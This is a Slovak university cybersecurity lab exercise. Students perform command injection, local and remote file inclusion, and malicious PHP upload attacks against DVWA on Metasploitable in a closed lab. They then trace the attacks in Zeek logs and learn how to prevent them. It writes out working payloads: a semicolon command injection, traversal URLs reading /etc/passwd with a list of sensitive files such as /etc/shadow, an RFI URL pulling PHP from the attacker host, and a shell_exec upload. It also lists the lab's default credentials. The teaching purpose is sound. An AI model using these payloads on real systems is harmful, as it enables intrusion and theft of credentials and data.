← Prehľad cvičení · Predchádzajúce cvičenie · Nasledujúce cvičenie
Preskúmať zneužitie webových funkcií a analyzovať súvisiacu prevádzku.
Alternatívna topológia pre Cisco
V tomto cvičení vykonáte tri webové útoky a to Command Execution, File Inclusion a File Upload. Všetky tieto útoky budú mierené na aplikáciu DVWA, ktorá sa nachádza na zariadení Metaspoitable. Pri Command Execution útoku budete analyzovať zraniteľný zdrojový kód a identifikujte jeho slabinu. Následne si vyskúšate ako je možné danú zraniteľnosť zneužiť z pohľadu útočníka a vykonať samotný útok.
Ďalší útok na ktorý sa pozriete bude File Inclusion, ktorý sa delí na Local a Remote. Pri **Local File Inclusion **najskôr vykonáte analýzu kódu, nájdete zraniteľnosť a potom prejdete k samotnému útoku. Pre **Remote File Inclusion **si najskôr nastavíte potrebné serverové náležitosti zariadenia Metaspoitable, aby bolo možné daný útok zrealizovať, a potom si vyskúšate samotný útok.
Nakoniec prejdete k útoku **File Upload, **pri ktorom vykonáte najskôr test funkcionality pre nahrávanie súborov a následne sa naučíte zneužiť zraniteľnú funkcionalitu.
V závere cvičenia budete identifikovať a analyzovať dané typy útokov z logovacích súborov nástroja Zeek, ktorý budete mať zapnutý na monitorovacom rozhraní zariadenia Security Onion počas všetkých útokov, ktoré vykonáte v prvej časti cvičenia. Nakoniec sa dozviete aj ako je možné predísť jednotlivým zraniteľnostiam webovej aplikácie.
Damn Vulnerable Web Application (DVWA) je webová aplikácia PHP/MySQL, ktorá je vysoko zraniteľná. DVWA je pomôckou pre bezpečnostných profesionálov pri testovaní ich schopností a nástrojov v legálnom prostredí (teda prostredí kde je to povolené), pomôcť webovým vývojárom lepšie pochopiť procesy zabezpečenia webových aplikácií a pomôcť študentom dozvedieť sa o bezpečnosti webových aplikácií v kontrolovanom laboratórnom prostredí. Cieľom DVWA je precvičiť si niektoré z najbežnejších webových zraniteľností s rôznymi úrovňami obtiažnosti. Tvorcovia upozorňujú, že tento softvér má zdokumentované aj nezdokumentované zraniteľnosti a že je to zámer, a odporúčajú používateľom objaviť čo najviac problémov a zraniteľností.
Topológia v GNS3 alebo vo VirtualBox-e
Školská OpenVPN alebo pripojenie z laboratória na KIS (v prípade práce na vzdialenom serveri)
Názov |
Meno |
Heslo |
Kali Linux * |
<kali user> |
<kali password> |
Metasploitable |
msfadmin |
msfadmin |
SecurityOnion-Realtime * |
<securityonion user> |
<securityonion password> |
SecurityOnion-Cyberops |
analyst |
cyberops |
OpenWRT |
root |
|
OpenvSwitch |
root |
|
GVM |
admin |
admin |
Cisco 2691 |
(bez mena) |
(bez hesla) |
* - zariadenie má používateľa a heslo ktorého vytvoril študent počas cvičenia 1 v časti Zmena username
2 Webové útoky CE,FI,FU
V časti 3. budete analyzovať logy z nástroja Zeek, preto je potrebné aby ste si pred vykonaním časti 3 zapli Zeek, na zariadení SecurityOnion-Realtime. S nástrojom Zeek ste sa naučili pracovať na predošlých cvičeniach, preto len na zopakovanie: keďže budete analyzovať útoky, ktoré budú smerované na Metasploitable, využijete „port-mirroring“, ktorý máte nakonfigurovaný a monitorovať budete rozhranie eth0. Pre zapnutie Zeek-a na tomto rozhraní, použite príkaz: zeek -i eth0.
Troubleshooting problémov s eth0:
Ak narazíte na problémy s port mirroringom medzi SecurityOnion-Realtime a Metasploitable, alebo vám nefunguje port eth0 prejdite si znova tieto kroky z prvého cvičenia:
**Prihásenie do aplikácie DVWA na serveri Metasploitable **
Otvoríme webový prehliadač Firefox na zariadení Kali Linux
Zadáme URL do prehliadača:
<IP adresa Metasploitable>/dvwa/
Pozn.: Miesto <IP adresa Metasploitable> vložte adresu zariadenia Metasploitable
Následne sa prihlásime do aplikácie:
Meno: admin
Heslo: password
Nastavíme security level na low:
Klikneme na DVWA Security
Vyberieme zo ScrollBoxu „low“ a dáme Submit
2 Webové útoky CE,FI,FU
Command Execution alebo Command injection je útok, ktorého cieľom je vykonávanie ľubovoľných príkazov na hostiteľskom operačnom systéme prostredníctvom zraniteľnej aplikácie. Command injection útoky sú možné vtedy, keď aplikácia odovzdá používateľom zadané nebezpečné údaje (formuláre, súbory cookie, hlavičky HTTP atď.) do systémového shell-u.
Command Execution - Analýza
V aplikácii kliknite na Command Execution
Daná funkcionalita na stránke umožňuje vykonať príkaz ping na cieľovú IP adresu, ktorú vložíme ako vstup. Zadajte hocijakú platnú IP adresu do poľa a klikne na tlačidlo **submit. **Aplikácia vám odpovie výstupom v ktorom by ste mali vidieť, že ping bol úspešný
Kliknite v pravo dole na tlačidlo **View Source, **pomocou ktorého si zobrazíte zdrojový kód, ktorý vyzerá nasledovne:
Vidíme, že kód nekontroluje, či sa $target zhoduje s IP adresou. Kód nevykonáva žiadne filtrovanie na špeciálne znaky a vstup, a teda vstup ktorý príde od používateľa je spustený v shell-y Linuxu, preto je možné vykonať command execution útok
Command Execution - Útok
Znak** ;** v Unix/Linux umožňuje oddelenie príkazov. Zadajte do poľa nasledovný príkaz:
127.0.0.1; ls -la /root
Aký výstup ste obdržali tento krát a prečo? Čo znamená príkaz, ktorý je za bodkočiarkou a aké riziko v tom vidíte, resp. v ďalšom možnom pokračovaní príkazov?
2 Webové útoky CE,FI,FU
Remote File Inclusion (RFI) a Local File Inclusion (LFI) sú zraniteľnosti, ktoré sa často vyskytujú v zle napísaných webových aplikáciách. Tieto chyby zabezpečenia sa vyskytujú, keď webová aplikácia umožňuje používateľovi odosielať vstupy do súborov, alebo odovzdávať súbory na server. Zraniteľnosť LFI umožňuje útočníkovi čítať (a niekedy aj spúšťať) súbory na serveri obete. To môže byť veľmi nebezpečné, pretože ak je webový server nesprávne nakonfigurovaný, a beží s vysokými oprávneniami, útočník môže získať prístup k citlivým informáciám. Ak je útočník schopný umiestniť kód na webový server inými prostriedkami, môže byť schopný vykonávať ľubovoľné príkazy. Zraniteľnosť RFI sa dá ľahšie zneužiť, ale menej často. Namiesto prístupu k súboru/súborom môže útočník na lokálnom počítači(Metasploitable serveri) spustiť kód, ktorý je nahratý na vzdialenom serveri (inom vzdialenom serveri, v našom prípade na tom ktorý si spustíme na Kali).
File Inclusion - Analýza
V aplikácií kliknite na File Inclusion
Kliknite vpravo dole na tlačidlo **View Source, **pomocou ktorého si zobrazíte zdrojový kód, ktorý vyzerá nasledovne:
Táto časť kódu sama o sebe v skutočnosti nie je zraniteľná, takže treba hľadať na inom mieste. Pre bežného útočníka, ktorý ešte nemá root prístup k počítaču, to môže byť miesto, kde sa ich prieskum končí. Premenná $_GET je však dostatočne zaujímavá na to, aby začali testovať alebo skenovať možnosť zahrnutia súboru. Keďže máme root prístup k zariadeniu Metasploitable, môžeme zistiť teda skutočnú príčinu zraniteľnosti.
Zo zariadenia Kali sa prihláste cez SSH na Metasploitable pomocou príkazu:
ssh msfadmin@<IP adresa Metasploitable> -o HostKeyAlgorithms=+ssh-rsa
Pozn.: Ak ste v predoslom labe menili ssh port na 1022, treba zadat za prikaz este ‘-p 1022’
Pozn.: -o HostKeyAlgorithms=+ssh-rsa sa pridáva pretože Kali OpenSSH od nejakej verzie berie ssh-rsa ako depricated pretože používal SHA-1 viď napr. https://www.openssh.com/txt/release-8.7 alebo SSH returns: no matching host key type found. Their offer: ssh-dss pričom novšie verzie majú zapnutý rsa-sha2-256/512 ktorý používa SHA-2 ovší algoritmus.
Použite cat na zobrazenie index.php v adresári /var/www/dvwa/vulnerabilities/fi/
cat -n /var/www/dvwa/vulnerabilities/fi/index.php
Pri pohľade na výstup vidíme, že na riadku 15 je príkaz switch, ktorý berie nastavenie zabezpečenia ako vstup a prerušuje sa v závislosti od toho, ktoré nastavenie sa použije. Keďže sme vybrali „low“, kód pokračuje vo volaní súboru /source/low.php. Ak sa pozrieme nižšie v index.php, vidíme, že riadok 35 hovorí:
A tu sme našli príčinu zraniteľnosti. Tento kód je zraniteľný, pretože neexistuje žiadna filtrácia vstupu dodaného používateľom. Konkrétne, premenná $file nie je filtrovaná pred nebezpečným vstupom - pred volaním funkcie include().
Ak má webový server prístup k požadovanému súboru, spustí sa akýkoľvek PHP kód obsiahnutý vo vnútri. Akýkoľvek kód v súbore, ktorý nie je PHP, sa zobrazí v prehliadači používateľa.
Teraz, keď sme pochopili, ako sa môže vyskytnúť zraniteľnosť pre file inclusion, využijeme ju na stránke include.php.
Local File Inclusion (LFI) - útok
Do panela s adresou prehliadača zadajte nasledovné:
http://<IP adresa metasploitable>/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd
Znaky ../ použité vo vyššie uvedenom príklade predstavujú prechod cez adresár. Počet sekvencií ../ závisí od konfigurácie a umiestnenia cieľového webového servera na počítači.
vykúšajte aj pomocou absolútnej cesty k /etc:
http://<IP adresa metasploitable>/dvwa/vulnerabilities/fi/?page=/etc/passwd
Vidíme, že obsah /etc/passwd je zobrazený na obrazovke. Týmto spôsobom možno získať veľa užitočných informácií o hostiteľovi. Niektoré zaujímavé súbory, ktoré treba hľadať, zahŕňajú, ale nie sú obmedzené na:
/etc/issue, /proc/version, /etc/profile, /etc/passwd, /etc/passwd, /etc/shadow, /root/.bash_history, /var/log/dmessage, /var/mail/root, /var/spool/cron/crontabs/root
Remote File Inclusion (RFI) – Analýza a Príprava
Táto časť ukážky vyžaduje určité počiatočné nastavenie. Využijeme to ako príležitosť na rozvoj niektorých zručností v príkazovom riadku OS Linux a PHP
Aby bolo RFI úspešné, je potrebné nastdvaviť dve funkcie v konfiguračnom súbore PHP:
allow_url_fopen a allow_url_include musia byť zapnuté. Z dokumentácie PHP môžeme vidieť, čo tieto konfigurácie robia:
allow_url_fopen – „Táto možnosť povolí funkciu fopen s podporou URL, ktorá umožňuje prístup k objektom URL, ako sú súbory. Predvolené funkcie sú poskytované na prístup k vzdialeným súborom pomocou protokolu ftp alebo http, niektoré rozšírenia ako zlib môžu registrovať ďalšie funkcie.
allow_url_include – „Táto možnosť umožňuje použitie fopen funkcie s podporou URL s nasledujúcimi funkciami: include, include_once, required, require_once
Ak chcete nájsť konfiguračný súbor DVWA, kliknite na kartu „PHP Info“ na ľavom paneli. Tento dokument nám poskytuje veľké množstvo užitočných informácií vrátane verzie PHP, operačného systému a aj konfiguračného súboru. Vidíme, že načítaný súbor je /etc/php5/cgi/php.ini:
Na zariadení metasploitable môžeme otvoriť súbor php.ini pomocou nano: (aby fungoval editor nano aj cez SSH môže byť potrebné zadať príkaz “export TERM=xterm”)
sudo nano /etc/php5/cgi/php.ini
V nano stlačte „ctrl-w“, aby ste našli reťazec. Zadajte „allow_url“ a stlačte Enter. Teraz by sme mali byť na riadku 573 súboru php.ini (stlačte „ctrl-c“, aby ste našli aktuálny riadok v nano). Uistite sa, že hodnoty „allow_url_fopen“ a „allow_url_include“ sú nastavené na možnosť „On“. Uložte súbor pomocou „ctrl-o“ a ukončite pomocou „ctrl-x“. Teraz reštartujte webový server Metasploitable pomocou:
sudo /etc/init.d/apache2 restart
Remote File Inclusion (RFI) – Útok
V Kali si musíme nastaviť vlastný webový server na testovanie. Najprv vytvorte testovací súbor s názvom rfi-test.php a potom spustite Apache.
Vytvorte súbor /var/www/html/rfi-test.php
sudo nano /var/www/html/rfi-test.php
Do súboru rfi-test.php nasledovný obsah:
Remote File Inclusion Test
Uložte súbor
Spustite Apache server:
sudo systemctl start apache2
Teraz môžeme otestovať náš RFI útok. Na stránke „File Inclusion“ zadajte nasledujúcu adresu URL:
http://<IP adresa metasploitable>/dvwa/vulnerabilities/fi/?page=http://<IP adresa kali>/rfi-test.php
Pozn.: Miesto <IP adresa metasploitable> a <IP adresa kali> zadajte IP adresy zariadení vo vašej topológii
Z výstupu zobrazeného v hornej časti prehliadača môžeme vidieť, že stránka je skutočne zraniteľná voči RFI (zobrazil sa nám obsah nášho PHP súboru).
2 Webové útoky CE,FI,FU
Kedykoľvek webová aplikácia umožňuje nahrať akýkoľvek iný súbor na server (iný ako ten, ktorý je tam uvedený), hovoríme, že ide o chybu zabezpečenia, alebo problém s nahrávaním škodlivého súboru. Predpokladajme, že webová aplikácia má funkciu nahrávania súborov, a je povolené nahrávať iba súbory s príponou jpeg a png. Keď je útočník schopný nahrať akýkoľvek iný súbor, ako napríklad php, jsp, aspx, html, shtml atď., alebo dokonca akýkoľvek súbor s dvojitou príponou, ako napríklad php.jpeg, asp.png, aspx.txt atď., v aplikácií sa nachádza file upload zraniteľnosť.
File Upload - Úvod
V aplikácií kliknite na Upload
Nachádzame sa na stránke výzvy pre nahratie obrázka. Najprv skontrolujeme funkcionalitu a potom pristúpime k exploitačnej časti. Nahrajte jednoduchý obrázok a skontrolujte, kam sa nahráva. V tomto príklade je použitý obrázok z Kali Linux. Adresár a konkrétny názov obrázka: /var/lib/inetsim/http/fakefiles/sample.jpg
Náš súbor sa nahrá do adresára ../../hackable/uploads/. Na uvedenej snímke obrazovky, vo výpise adresára, do ktorého sa súbor nahral, časť ../../ predstavuje dva adresáre nad aktuálnym adresárom. Cesta k nahranému priečinku je teda http://<IP adresa metasploitable>/dvwa/hackable/uploads/. Súbor sample.jpg môžete vidieť na obrázku nižšie.
File Upload – Exploitácia
Vytvorte a nahrajte škodlivý súbor **malicious.php **z Kali Linux, s nasledujúcim obsahom:
<?php
echo "If you see this means, this file has been executed";
$output = shell_exec('ls -la');
echo "<pre>$output</pre>";
?>
Obrázok nie je súčasťou dodaného exportu.
K nahranému súboru je možné pristupovať pomocou adresy URL http://<IP adresa metasploitable>/dvwa/hackable/uploads/malicious.php Ako môžete vidieť, po prístupe na súbor, sa vám zobrazí výstup príkazu ls -la a tiež text, ktorý bol zadaný taktiež do súboru
V tejto časti si prezriete a budete analyzovať Zeek logy, ktoré boli generované počas útokov, ktoré ste vykonali v časti 1. Ak máte ešte stále zapnutý Zeek, a nevypli ste ho po tom ako ste dokončili predošlé časti, urobte tak teraz.
Upozornenie: Ak pracujete vo VirtualBox-e, tak analýzu spravíte v nástroji Wireshark na zariadení Kali Linux.
Prezrite si Zeek logy, vykonajte ich analýzu a odpovedzte na otázky
V ktorom z logovacích súborov sú najdôležitejšie informácie, z ktorých môžete vyčítať najviac ohľadom zrealizovaných útokov? (hint: zeek logy sa tvoria v domovskom adresári roota, názov konkrétneho zoznamu logov sa dá vydedukovať z požiadaviek b, c, d.)
Nájdite v logovacom súbore http.log požiadavky, ktoré boli zrealizované počas Command Execution útoku.
Nájdite v logovacom súbore http.log požiadavky, ktoré boli zrealizované počas File Inclusion útoku. Identifikujte miesta v URL, kde boli vložené payload-y pre local file inclusion a remote file inclusion, z predošlých častí.
Nájdite v logovacom súbore http.log požiadavky, ktoré boli zrealizované počas File Upload útoku. Nájdite taktiež požiadavky na server, v ktorých:
Bol uložený škodlivý súbor na server
Bol škodlivý súbor vyžiadaný
Prezretie nových alertov v sguil
V tomto cvičení sme si ukázali na praktickej ukážke ako vyzerajú webové útoky **Command Execution, File Inclusion **a File Upload.
Pre ošetrenie Command Execution útoku, je potrebné zaviesť filtre a funkcie do kódu aplikácie, ktoré zabránia tomu, aby aplikácia spúšťala kód, ktorý je ako vstupom od používateľa. Teda je dôležité najskôr validovať daný vstup a potom na strane aplikácie ho taktiež sanitizovať o prípadné nebezpečné znaky.
Pre **File Inclusion **sa odporúča bezpečne analyzovať názvy súborov dodaných používateľom. Je lepšie udržiavať zoznam povolených názvov súborov a na prístup k súboru použiť zodpovedajúci identifikátor (nie skutočný názov). Akákoľvek žiadosť obsahujúca neplatný identifikátor môže byť potom jednoducho zamietnutá.
Pre ošetrenie **File Upload **zraniteľnosti sa odporúča
Povoliť iba špecifické prípony súborov.
Povoliť používanie funkcionality iba autorizovaným a overeným používateľom.
Skontrolovať obsah každého súboru načítaného z webu.
Uistiť sa, že je to skutočne obrázok alebo akýkoľvek typ súboru, ktorý očakávame.
Ukladať súbory do neverejného adresára, ak je to možné.
Ukázali sme si ako je možné identifikovať webové útoky, analyzovať ich a taktiež hľadať a odhaliť príčiny ich vzniku. Z pohľadu analytika je veľmi dôležité aby sa včas prišlo na miesta útokov a na typy útokov, ktoré sa používajú, aby sa im vedelo v čo najkratšom čase zabrániť a aj predchádzať do budúcna.
Aký je rozdiel medzi zraniteľnosťou File Inclusion a File Upload?
Akým spôsobom sa dá predísť File Inclusion/Upload zraniteľnosti?
Zistite najčastejšie programovacie jazyky použité pri webových aplikáciách a výskyt ich zraniteľností
Urobte menší výzkum a nájdite 3 CVE ktoré súvisia s web File Inclusion
← Prehľad cvičení · Predchádzajúce cvičenie · Nasledujúce cvičenie